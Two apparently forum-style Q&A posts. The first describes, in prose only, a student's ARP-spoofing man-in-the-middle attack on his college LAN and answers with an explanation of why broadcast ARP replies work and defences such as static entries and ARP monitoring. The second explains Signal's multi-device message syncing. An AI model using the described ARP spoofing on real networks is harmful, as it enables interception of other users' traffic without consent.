Preventing man in the middle attack I recently did a man in the middle attack on my college LAN (for purely educational purposes:)). I simply wrote a raw socket application that pumped ARP reply packets advertising my MAC address with the IP of the gateway. For the destination address I chose the broadcast address. Soon I was receiving packets from lot of hosts on the subnet. Now I was wondering:

Why did it work with broadcast address?
How can I prevent myself from such attacks? (I found a way by adding a static entry of the gateway's actual MAC address in my computer's ARP table)
If I am a network admin, how can I ensure that doing a MITM is not as easy as it was in my case?

A broadcast packet is, at the ethernet level, a packet with a specific bit set in the address which tells: "if you see this frame, have a look at it". Normally, a network interface will disregard frames unless the destination address is its own MAC address (an interface can be put into "promiscuous mode" to pick up all frames); but the "broadcast" bit makes the frame "interesting" for all network interfaces.

When the frame is not filtered out by the network interface, the frame contents are processed by the host system regardless of its ethernet source and destination addresses: the frame was received, and that's enough. If the frame contains an ARP reply, then the information contained in this reply ("the host with this IP address uses that ethernet address") is duly processed. It depends a bit on the operating system, though: Linux is known to disregard ARP replies which do not correspond to an ARP request which it sent not long before.

There is no authentication whatsoever in the ARP protocol; it is built on trust. Hence, it is vulnerable to active attacks such as yours.

Setting a static ARP table entry gives you some protection, but removes a bit of flexibility (if the gateway hardware is replaced, the ethernet address will change, and since the static entry takes precedence, your machine will refuse to talk to the replacement) and it is not a complete protection either: your packets may still be observed by the attacker, and he can still spoof fake packets, which can be enough to do a lot of harm.

As a network administrator, the best you can do is a combination of static routes (tedious, does not scale well) and watch/logging/reporting (maintain a table of IP / ethernet pairs, report every ARP reply which tries to change that). See this page for a list of possible defenses.


Signal messaging app / How does sync on connected devices work? I would like to know how paired devices get synced together in Signal messaging app.
So this is what they say on their website

Signal messages, pictures, files, and other contents are stored locally on your device. These contents are readable by the open source Signal clients. Because everything in Signal is end-to-end encrypted, the Signal service does not have access to any of this data.

https://support.signal.org/hc/en-us/articles/360007059412-Signal-and-the-General-Data-Protection-Regulation-GDPR-
But let's say I have 2 devices synced together (phone + pc). The pc is off and I send multiple messages to multiple contacts on my phone. Then I turn off my phone and decide to use signal on pc. How is it possible that signal can sync all messages, pictures etc when my phone is turned off. They claim that everything is stored locally. So in theory, to be able to view my activity on the desktop signal app, the phone has to be connected to internet to sync with it.
Am I missing something ? I'm assuming signal desktop doesn't retrieve everything from all my contacts ..

Signal Multi-device Support
Each linked device in multi-device treats each other as a different recipient. Encrypted messages are kept on server until they are received by the recipients. For each linked device, the server holds a queue of 1000 most recent undelivered messages so the device has to come online often enough to prevent overflowing of queue. The server also deletes undelivered messages that are older than 60 days even if the queue is not full.
Linked devices cannot sync chat history in order to prevent compromise of earlier messages that were received before the devices were linked. They start from fresh and their e2ee session is also separate. The only things they have in common is UserId and Identity keypair.
When you send or receive message, the message is replicated by the sender for all of your linked devices. It behaves like group messaging but messages for the linked devices are sent to self.